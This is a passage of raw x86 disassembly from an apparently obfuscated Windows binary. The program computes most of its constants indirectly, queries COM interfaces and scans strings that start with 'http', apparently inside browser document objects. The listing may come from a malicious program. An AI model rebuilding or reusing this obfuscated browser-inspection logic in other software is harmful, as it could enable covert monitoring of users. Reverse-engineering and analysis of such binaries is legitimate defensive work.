		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_418570:				; CODE XREF: .data:004184F1j
					; .data:00418546j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_4184E0
; ---------------------------------------------------------------------------


loc_41857E:				; CODE XREF: .data:00418548j
		xor	eax, eax
		jmp	short loc_41859B
; ---------------------------------------------------------------------------


loc_418582:				; CODE XREF: .data:004184C5j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_418433
		add	esp, 0Ch


loc_418591:				; CODE XREF: .data:004184E3j
		push	0Bh
		call	sub_423425
		add	esp, 4


loc_41859B:				; CODE XREF: .data:00418580j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 1
		jnz	short loc_4185B4
		call	sub_4185D0


loc_4185B4:				; CODE XREF: .data:004185ADj
		call	sub_423368
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		mov	eax, ds:10013000h
		call	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185D0	proc near		; CODE XREF: .data:004185AFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	0
		push	0FFFFFFF6h
		call	sub_4233F5
		mov	[ebp+var_8], eax
		push	0
		push	0FFFFFFF5h
		call	sub_4233F5
		mov	[ebp+var_4], eax
		push	0
		push	0FFFFFFF4h
		call	sub_4233F5
		mov	[ebp+var_C], eax
		push	1001301Eh
		push	[ebp+var_8]
		call	sub_4233E9
		mov	ds:10013008h, eax
		push	1001301Ch
		push	[ebp+var_4]
		call	sub_4233E9
		mov	ds:10013004h, eax
		push	1001301Ch
		push	[ebp+var_C]
		call	sub_4233E9
		add	esp, 30h
		mov	ds:1001300Ch, eax
		mov	edi, ds:10013004h
		or	edi, edi
		jz	short loc_418649
		push	0
		push	edi
		call	sub_423431
		add	esp, 8


loc_418649:				; CODE XREF: sub_4185D0+6Cj
		mov	edi, ds:1001300Ch
		or	edi, edi
		jz	short loc_418663
		push	0
		push	edi
		call	sub_423431
		add	esp, 8
		call	sub_418669


loc_418663:				; CODE XREF: sub_4185D0+81j
		pop	edi
		leave
		retn
sub_4185D0	endp

; ---------------------------------------------------------------------------
		dw 9090h
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418669	proc near		; CODE XREF: sub_4185D0+8Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		call	sub_4233D1
		mov	ebx, eax
		mov	[ebp+var_10], ebx
		jmp	short loc_4186A1
; ---------------------------------------------------------------------------


loc_418685:				; CODE XREF: sub_418669+3Bj
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_41868D
		inc	[ebp+var_C]


loc_41868D:				; CODE XREF: sub_418669+1Fj
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		lea	ebx, [ebx+edi]


loc_4186A1:				; CODE XREF: sub_418669+1Aj
		cmp	byte ptr [ebx],	0
		jnz	short loc_418685
		mov	edi, [ebp+var_C]
		inc	edi
		lea	edi, ds:0[edi*4]
		mov	[ebp+var_14], edi
		push	[ebp+var_14]
		call	sub_423419
		pop	ecx
		mov	[ebp+var_8], eax
		mov	ds:10013010h, eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4186CF
		xor	eax, eax
		jmp	short loc_41872C
; ---------------------------------------------------------------------------


loc_4186CF:				; CODE XREF: sub_418669+60j
		mov	ebx, [ebp+var_10]
		jmp	short loc_418719
; ---------------------------------------------------------------------------


loc_4186D4:				; CODE XREF: sub_418669+B3j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		mov	[ebp+var_4], edi
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_418713
		push	[ebp+var_4]
		call	sub_423419
		pop	ecx
		mov	esi, [ebp+var_8]
		mov	[esi], eax
		or	eax, eax
		jnz	short loc_418701
		jmp	short loc_41872C
; ---------------------------------------------------------------------------


loc_418701:				; CODE XREF: sub_418669+94j
		push	ebx
		mov	edi, [ebp+var_8]
		push	dword ptr [edi]
		call	sub_42343D
		add	esp, 8
		add	[ebp+var_8], 4


loc_418713:				; CODE XREF: sub_418669+82j
		mov	edx, [ebp+var_4]
		lea	ebx, [ebx+edx]


loc_418719:				; CODE XREF: sub_418669+69j
		cmp	byte ptr [ebx],	0
		jnz	short loc_4186D4
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx], 0
		mov	eax, 1


loc_41872C:				; CODE XREF: sub_418669+64j
					; sub_418669+96j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418669	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418731	proc near		; CODE XREF: sub_41C6CD+C1p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	8000h
		movsx	eax, word ptr ds:100131F0h
		add	eax, ds:10013284h
		sub	eax, 0Ch
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:10011634h
		pop	ebp
		retn
sub_418731	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418755	proc near		; CODE XREF: sub_41B354+1A4p
					; sub_41B354+259p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		movsx	eax, word ptr ds:100131FCh
		add	eax, ds:10013108h
		sub	eax, 0Bh
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], eax
		mov	esi, eax
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		add	eax, ebx
		mov	[ebp+var_4], eax
		mov	edi, [ebp+arg_0]
		jmp	loc_418893
; ---------------------------------------------------------------------------


loc_418789:				; CODE XREF: sub_418755+146j
		movsx	edx, byte ptr [edi]
		shl	edx, 2
		mov	esi, ds:100133B8h[edx]
		mov	eax, ds:10013090h
		movsx	edx, word ptr ds:100130E0h
		add	eax, edx
		sub	eax, 3
		neg	eax
		cmp	esi, eax
		jz	loc_418892
		mov	eax, [ebp+var_8]
		or	eax, eax
		jl	loc_41888F
		cmp	eax, 3
		jg	loc_41888F
		jmp	dword ptr ds:100137B8h[eax*4]
; ---------------------------------------------------------------------------
		dd 0E9F845FFh, 0BBh, 8BF4558Bh,	131580Dh, 0A80D0310h, 83100130h
		dd 0D0890DE9h, 4589E0D3h, 83F289E8h, 0D8B30E2h,	10013278h
		dd 7005BF0Fh, 1100131h,	0D3D089C1h, 0E8558BF8h,	5588C209h
		dd 43D889F3h, 88F3558Ah, 0F845FF10h, 558B75EBh,	0FE283F4h
		dd 0A40DBF0Fh, 83100131h, 0D08903E9h, 4589E0D3h, 83F289E4h
		dd 0D8B3CE2h, 10013134h, 8906E983h, 8BF8D3D0h, 0C209E455h
		dd 89F35588h, 558A43D8h, 0FF1088F3h, 37EBF845h,	83F4558Bh
		dd 0BF0F03E2h, 132080Dh, 0D0894110h, 0C289E0D3h, 5588F209h
		dd 43D889F3h, 88F3558Ah, 5BF0F10h, 10013144h, 0DC15BF0Fh
		dd 1100131h, 7E883D0h
		db 89h,	45h, 0F8h
; ---------------------------------------------------------------------------


loc_41888F:				; CODE XREF: sub_418755+61j
					; sub_418755+6Aj
		mov	[ebp+var_C], esi


loc_418892:				; CODE XREF: sub_418755+56j
		inc	edi


loc_418893:				; CODE XREF: sub_418755+2Fj
		cmp	byte ptr [edi],	0
		jz	short loc_4188A1
		cmp	ebx, [ebp+var_4]
		jb	loc_418789


loc_4188A1:				; CODE XREF: sub_418755+141j
		cmp	byte ptr [edi],	0
		jnz	short loc_4188AD
		mov	eax, ebx
		sub	eax, [ebp+arg_4]
		jmp	short loc_4188BD
; ---------------------------------------------------------------------------


loc_4188AD:				; CODE XREF: sub_418755+14Fj
		mov	eax, ds:100130E4h
		add	eax, ds:10013090h
		sub	eax, 0Bh
		neg	eax


loc_4188BD:				; CODE XREF: sub_418755+156j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418755	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188C2	proc near		; CODE XREF: sub_418999+68Ap
					; sub_4197BE+EFp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_4188D7:				; CODE XREF: sub_4188C2+1Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4188D7
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax]
		or	eax, 0FFFFFFFFh


loc_4188E9:				; CODE XREF: sub_4188C2+2Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4188E9
		mov	esi, eax
		movsx	eax, word ptr ds:10013118h
		sub	eax, 3
		mov	[ebp+var_4], eax
		jmp	short loc_41895A
; ---------------------------------------------------------------------------


loc_418901:				; CODE XREF: sub_4188C2+9Ej
		mov	eax, ds:10013184h
		movsx	edx, word ptr ds:10013100h
		mov	ebx, eax
		add	ebx, edx
		sub	ebx, 5
		mov	eax, ds:100131C8h
		mov	edi, eax
		add	edi, ds:1001313Ch
		sub	edi, 3
		jmp	short loc_418953
; ---------------------------------------------------------------------------


loc_418926:				; CODE XREF: sub_4188C2+93j
		mov	eax, [ebp+var_4]
		add	eax, edi
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+eax]
		mov	edx, [ebp+arg_4]
		movsx	edx, byte ptr [edx+edi]
		cmp	eax, edx
		jnz	short loc_418957
		inc	ebx
		cmp	ebx, esi
		jnz	short loc_418952
		inc	[ebp+var_8]
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_8], eax
		jnz	short loc_418952
		mov	eax, [ebp+var_4]
		jmp	short loc_418967
; ---------------------------------------------------------------------------


loc_418952:				; CODE XREF: sub_4188C2+7Ej
					; sub_4188C2+89j
		inc	edi


loc_418953:				; CODE XREF: sub_4188C2+62j
		cmp	edi, esi
		jb	short loc_418926


loc_418957:				; CODE XREF: sub_4188C2+79j
		inc	[ebp+var_4]


loc_41895A:				; CODE XREF: sub_4188C2+3Dj
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_4], eax
		jb	short loc_418901
		mov	eax, 0FFFFh


loc_418967:				; CODE XREF: sub_4188C2+8Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4188C2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_41896F:				; CODE XREF: .data:00418993j
		call	sub_41C480
		mov	eax, ds:1001318Ch
		add	eax, 2
		mov	edx, ds:10013280h
		add	edx, 0EA5Ch
		imul	eax, edx
		push	eax
		call	dword ptr ds:10012630h
		pop	ecx
		jmp	short loc_41896F
; ---------------------------------------------------------------------------
		db 5Dh,	0C2h, 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418999	proc near		; CODE XREF: .data:0042131Ep

var_71F10	= dword	ptr -71F10h
var_71F0C	= dword	ptr -71F0Ch
var_71F07	= byte ptr -71F07h
var_70F08	= word ptr -70F08h
var_70F00	= dword	ptr -70F00h
var_70EF9	= byte ptr -70EF9h
var_70EF8	= dword	ptr -70EF8h
var_70EF4	= dword	ptr -70EF4h
var_70EEF	= byte ptr -70EEFh
var_60EF0	= word ptr -60EF0h
var_60EE8	= dword	ptr -60EE8h
var_60EDD	= byte ptr -60EDDh
var_60EDC	= dword	ptr -60EDCh
var_60ED8	= dword	ptr -60ED8h
var_60ED4	= dword	ptr -60ED4h
var_60ED0	= word ptr -60ED0h
var_60EC8	= dword	ptr -60EC8h
var_60EC0	= dword	ptr -60EC0h
var_60EBC	= dword	ptr -60EBCh
var_60EB8	= dword	ptr -60EB8h
var_60EB4	= dword	ptr -60EB4h
var_60EB0	= dword	ptr -60EB0h
var_60EAC	= dword	ptr -60EACh
var_60EA8	= dword	ptr -60EA8h
var_60EA4	= dword	ptr -60EA4h
var_60E9F	= byte ptr -60E9Fh
var_50E9D	= byte ptr -50E9Dh
var_50E9B	= byte ptr -50E9Bh
var_40EB8	= byte ptr -40EB8h
var_40EB0	= dword	ptr -40EB0h
var_40EA8	= word ptr -40EA8h
var_40EA0	= dword	ptr -40EA0h
var_40E9C	= dword	ptr -40E9Ch
var_40E98	= dword	ptr -40E98h
var_40E94	= byte ptr -40E94h
var_40E90	= dword	ptr -40E90h
var_40E8C	= dword	ptr -40E8Ch
var_40E88	= dword	ptr -40E88h
var_40E84	= dword	ptr -40E84h
var_40E80	= byte ptr -40E80h
var_40E78	= dword	ptr -40E78h
var_40E70	= dword	ptr -40E70h
var_40E6C	= dword	ptr -40E6Ch
var_40E68	= dword	ptr -40E68h
var_40E64	= dword	ptr -40E64h
var_40E60	= dword	ptr -40E60h
var_40E5C	= dword	ptr -40E5Ch
var_40E57	= byte ptr -40E57h
var_40E56	= byte ptr -40E56h
var_40E55	= byte ptr -40E55h
var_40E54	= byte ptr -40E54h
var_30E58	= dword	ptr -30E58h
var_30E54	= dword	ptr -30E54h
var_30E50	= dword	ptr -30E50h
var_30E4C	= dword	ptr -30E4Ch
var_30E48	= dword	ptr -30E48h
var_30E44	= dword	ptr -30E44h
var_30E3F	= byte ptr -30E3Fh
var_30D40	= byte ptr -30D40h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 71F10h
		call	sub_423379
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_40E80]
		push	eax
		call	dword ptr ds:1000D038h
		lea	eax, [ebp+var_40E94]
		push	eax
		lea	eax, [ebp+var_40E80]
		push	eax
		push	9
		movsx	eax, word ptr ds:1001316Ch
		movsx	edx, word ptr ds:10013180h
		add	eax, edx
		sub	eax, 5
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:10010254h
		mov	ebx, eax
		movsx	eax, word ptr ds:100130C0h
		movsx	edx, word ptr ds:100131B4h
		add	eax, edx
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_419762
		mov	eax, [ebp+var_40E78]
		mov	[ebp+var_40E64], eax
		and	[ebp+var_40E60], 0
		lea	eax, [ebp+var_40E60]
		push	eax
		push	10014AD8h
		mov	eax, [ebp+var_40E64]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:1001326Ch
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_419762
		lea	eax, [ebp+var_40E84]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+78h]
		mov	ebx, eax
		mov	eax, ds:10013224h
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_419756
		lea	eax, [ebp+var_40E57]
		push	eax
		push	[ebp+var_40E84]
		call	sub_41C841
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_40E98], edi
		push	[ebp+var_40E84]
		call	dword ptr ds:10012BA0h
		cmp	[ebp+var_40E57], 68h
		jnz	short loc_418AB4
		cmp	[ebp+var_40E56], 74h
		jnz	short loc_418AB4
		cmp	[ebp+var_40E55], 74h
		jnz	short loc_418AB4
		cmp	[ebp+var_40E54], 70h
		jz	short loc_418AB9


loc_418AB4:				; CODE XREF: sub_418999+FEj
					; sub_418999+107j ...
		jmp	loc_419756
; ---------------------------------------------------------------------------


loc_418AB9:				; CODE XREF: sub_418999+119j
		lea	eax, [ebp+var_30E4C]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+94h]
		mov	ebx, eax
		mov	eax, ds:10013204h
		add	eax, ds:100130DCh
		sub	eax, 4
		cmp	ebx, eax
		jz	short loc_418AEA
		and	[ebp+var_30E4C], 0


loc_418AEA:				; CODE XREF: sub_418999+148j
		lea	eax, [ebp+var_40E68]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+48h]
		mov	ebx, eax
		mov	eax, ds:1001328Ch
		add	eax, ds:10013274h
		sub	eax, 7
		cmp	ebx, eax
		jnz	loc_419756
		lea	eax, [ebp+var_40E6C]
		push	eax
		push	10014A58h
		mov	eax, [ebp+var_40E68]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:10013268h
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_41974A
		lea	eax, [ebp+var_40E70]
		push	eax
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+5Ch]
		mov	ebx, eax
		mov	eax, ds:10013204h
		dec	eax
		cmp	ebx, eax
		jnz	loc_41973E
		lea	eax, [ebp+var_40E90]
		push	eax
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		movsx	eax, word ptr ds:10013170h
		sub	eax, 2
		cmp	ebx, eax
		jnz	loc_419732
		mov	eax, ds:10013128h
		sub	eax, 8
		neg	eax
		mov	[ebp+var_40E5C], eax
		push	100149A0h
		call	sub_41FB74
		push	eax
		call	dword ptr ds:1000D044h
		mov	[ebp+var_30E44], eax
		push	10014990h
		call	sub_41FB74
		add	esp, 8
		push	eax
		call	dword ptr ds:1000D044h
		mov	[ebp+var_30E48], eax
		lea	eax, [ebp+var_40E57]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_423399


loc_418BE1:				; CODE XREF: sub_418999+D6Dj
		and	[ebp+var_40E88], 0
		and	[ebp+var_40E8C], 0
		mov	eax, ds:10013194h
		sub	eax, 8
		neg	eax
		cmp	[ebp+var_40E5C], eax
		jnz	short loc_418C4C
		lea	eax, [ebp+var_30E54]
		push	eax
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	eax, ds:100131D0h
		add	eax, ds:10013284h
		sub	eax, 10h
		cmp	ebx, eax
		jnz	loc_4196F4
		push	10014981h
		call	sub_41C914
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	dword ptr ds:1000D020h
		add	esp, 0Ch
		jmp	loc_418D54
; ---------------------------------------------------------------------------


loc_418C4C:				; CODE XREF: sub_418999+266j
		mov	[ebp+var_40EA8], 17h
		mov	eax, [ebp+var_40E5C]
		mov	[ebp+var_40EA0], eax
		lea	eax, [ebp+var_40EB8]
		push	eax
		lea	eax, [ebp+var_40EA8]
		push	eax
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		lea	eax, [ebp+var_40E88]
		push	eax
		push	10014AA8h
		push	[ebp+var_40EB0]
		mov	edi, [ebp+var_40EB0]
		mov	edi, [edi]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:100131E8h
		dec	eax
		cmp	ebx, eax
		jnz	loc_4196F4
		lea	eax, [ebp+var_40E8C]
		push	eax
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0D0h]
		mov	ebx, eax
		mov	eax, ds:100130B4h
		sub	eax, 8
		cmp	ebx, eax
		jz	short loc_418CE1
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_4196F4
; ---------------------------------------------------------------------------


loc_418CE1:				; CODE XREF: sub_418999+335j
		lea	eax, [ebp+var_30E54]
		push	eax
		mov	eax, [ebp+var_40E8C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	eax, ds:1001321Ch
		sub	eax, 8
		cmp	ebx, eax
		jz	short loc_418D1F
		mov	eax, [ebp+var_40E8C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_4196F4
; ---------------------------------------------------------------------------


loc_418D1F:				; CODE XREF: sub_418999+367j
		push	10014972h
		call	sub_41C914
		push	[ebp+var_40E5C]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	dword ptr ds:10012634h
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000D020h
		add	esp, 18h


loc_418D54:				; CODE XREF: sub_418999+2AEj
		lea	eax, [ebp+var_30E58]
		push	eax
		mov	eax, [ebp+var_30E54]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		mov	eax, ds:10013268h
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_4196F4
		movsx	eax, word ptr ds:10013240h
		movsx	edx, word ptr ds:100130CCh
		add	eax, edx
		sub	eax, 9
		mov	[ebp+var_30E50], eax
		jmp	loc_4196E2
; ---------------------------------------------------------------------------


loc_418D97:				; CODE XREF: sub_418999+D55j
		mov	[ebp+var_60ED0], 2
		mov	eax, [ebp+var_30E50]
		mov	[ebp+var_60EC8], eax
		movsx	eax, word ptr ds:100130C0h
		mov	edx, ds:1001314Ch
		sub	edx, 6
		mov	[ebp+eax+var_50E9D], dl
		lea	eax, [ebp+var_60EC0]
		push	eax
		lea	esi, [ebp+var_60ED0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_60ED0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_30E54]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		movsx	eax, word ptr ds:10013180h
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_4196DC
		push	10014964h
		call	sub_41C914
		push	[ebp+var_30E50]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	dword ptr ds:10012634h
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000D020h
		add	esp, 18h
		and	[ebp+var_60ED4], 0
		lea	eax, [ebp+var_60ED4]
		push	eax
		push	10014A78h
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:10013224h
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_419361
		lea	eax, [ebp+var_60ED8]
		push	eax
		mov	eax, [ebp+var_60ED4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F0h]
		mov	ebx, eax
		cmp	ebx, ds:10013138h
		jnz	loc_419355
		lea	eax, [ebp+var_60E9F]
		push	eax
		push	[ebp+var_60ED8]
		call	sub_41C841
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_60EB8], edi
		push	[ebp+var_60ED8]
		call	dword ptr ds:10012BA0h
		movsx	eax, word ptr ds:10013230h
		sub	eax, 6
		mov	[ebp+var_40E9C], eax
		jmp	short loc_418F24
; ---------------------------------------------------------------------------


loc_418ED8:				; CODE XREF: sub_418999+597j
		mov	eax, [ebp+var_40E9C]
		movsx	eax, [ebp+eax+var_60E9F]
		movsx	edx, word ptr ds:10013104h
		add	edx, 5
		cmp	eax, edx
		jz	short loc_418F02
		movsx	edx, word ptr ds:10013130h
		add	edx, 7
		cmp	eax, edx
		jnz	short loc_418F1E


loc_418F02:				; CODE XREF: sub_418999+559j
		mov	eax, [ebp+var_40E9C]
		mov	edx, ds:1001325Ch
		add	edx, ds:100131D8h
		sub	edx, 11h
		mov	[ebp+eax+var_60E9F], dl


loc_418F1E:				; CODE XREF: sub_418999+567j
		inc	[ebp+var_40E9C]


loc_418F24:				; CODE XREF: sub_418999+53Dj
		mov	eax, [ebp+var_60EB8]
		cmp	[ebp+var_40E9C], eax
		jb	short loc_418ED8
		lea	eax, [ebp+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	sub_423399
		mov	eax, ds:10013148h
		sub	eax, 2
		mov	[ebp+var_40E9C], eax


loc_418F53:				; CODE XREF: sub_418999+70Dj
		mov	eax, [ebp+var_40E9C]
		lea	ecx, [ebp+eax+var_60E9F]
		or	eax, 0FFFFFFFFh


loc_418F63:				; CODE XREF: sub_418999+5CFj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_418F63
		mov	[ebp+var_60EA8], eax
		mov	edx, ds:10013184h
		add	edx, ds:10013188h
		sub	edx, 2
		cmp	eax, edx
		jz	short loc_418F9B
		movsx	edx, word ptr ds:10013130h
		mov	ecx, ds:1001313Ch
		lea	edx, [edx+ecx+0C2h]
		cmp	eax, edx
		jbe	short loc_418FA0


loc_418F9B:				; CODE XREF: sub_418999+5E8j
		jmp	loc_419079
; ---------------------------------------------------------------------------


loc_418FA0:				; CODE XREF: sub_418999+600j
		mov	eax, ds:100131B0h
		sub	eax, 7
		mov	[ebp+var_60EA4], eax
		jmp	short loc_418FE0
; ---------------------------------------------------------------------------


loc_418FB0:				; CODE XREF: sub_418999+653j
		mov	eax, [ebp+var_40E9C]
		add	eax, [ebp+var_60EA4]
		movsx	eax, [ebp+eax+var_60E9F]
		mov	edx, ds:1001313Ch
		add	edx, 17h
		movsx	ecx, word ptr ds:10013144h
		add	edx, ecx
		cmp	eax, edx
		jnz	short loc_418FEE
		inc	[ebp+var_60EA4]


loc_418FE0:				; CODE XREF: sub_418999+615j
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_60EA4], eax
		jb	short loc_418FB0


loc_418FEE:				; CODE XREF: sub_418999+63Fj
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_60EA4], eax
		jz	short loc_419079
		mov	eax, ds:100131A8h
		movsx	edx, word ptr ds:10013218h
		add	eax, edx
		sub	eax, 6
		push	eax
		mov	eax, [ebp+var_40E9C]
		lea	eax, [ebp+eax+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	sub_4188C2
		add	esp, 0Ch
		mov	[ebp+var_60EDC], eax
		mov	eax, ds:10013154h
		add	eax, 0FFF8h
		cmp	[ebp+var_60EDC], eax
		jnz	short loc_419079
		push	1001495Fh
		call	sub_41C914
		push	eax
		lea	edi, [ebp+var_50E9B]
		push	edi
		call	dword ptr ds:1000D020h
		mov	eax, [ebp+var_40E9C]
		lea	eax, [ebp+eax+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	dword ptr ds:1000D020h
		add	esp, 14h


loc_419079:				; CODE XREF: sub_418999:loc_418F9Bj
					; sub_418999+661j ...
		mov	eax, [ebp+var_60EA8]
		movsx	edx, word ptr ds:100131E0h
		movsx	ecx, word ptr ds:100131C0h
		add	edx, ecx
		sub	edx, 6
		add	eax, edx
		add	[ebp+var_40E9C], eax
		mov	eax, [ebp+var_60EB8]
		cmp	[ebp+var_40E9C], eax
		jb	loc_418F53
		mov	eax, ds:1001328Ch
		sub	eax, 6
		mov	[ebp+var_60EB4], eax
		lea	ecx, [ebp+var_50E9B]
		or	eax, 0FFFFFFFFh


loc_4190C3:				; CODE XREF: sub_418999+72Fj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4190C3
		mov	[ebp+var_60EA8], eax
		mov	eax, ds:100130ACh
		add	eax, ds:100130F4h
		sub	eax, 8
		mov	[ebp+var_40E9C], eax
		jmp	loc_419327
; ---------------------------------------------------------------------------


loc_4190E9:				; CODE XREF: sub_418999+99Aj
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		mov	edx, ds:10013254h
		add	edx, 17h
		add	edx, ds:10013168h
		cmp	eax, edx
		jz	short loc_419111
		and	[ebp+var_60EAC], 0


loc_419111:				; CODE XREF: sub_418999+76Fj
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		mov	edx, ds:100131C4h
		add	edx, 13h
		movsx	ecx, word ptr ds:10013150h
		add	edx, ecx
		cmp	eax, edx
		jnz	loc_4192D3
		movsx	eax, word ptr ds:10013230h
		movsx	edx, word ptr ds:10013124h
		add	eax, edx
		sub	eax, 0Ch
		cmp	[ebp+var_40E9C], eax
		jbe	loc_419209
		mov	eax, [ebp+var_40E9C]
		mov	edx, ds:100131B8h
		add	edx, ds:1001325Ch
		sub	edx, 0Ch
		sub	eax, edx
		mov	al, [ebp+eax+var_50E9B]
		mov	[ebp+var_60EDD], al
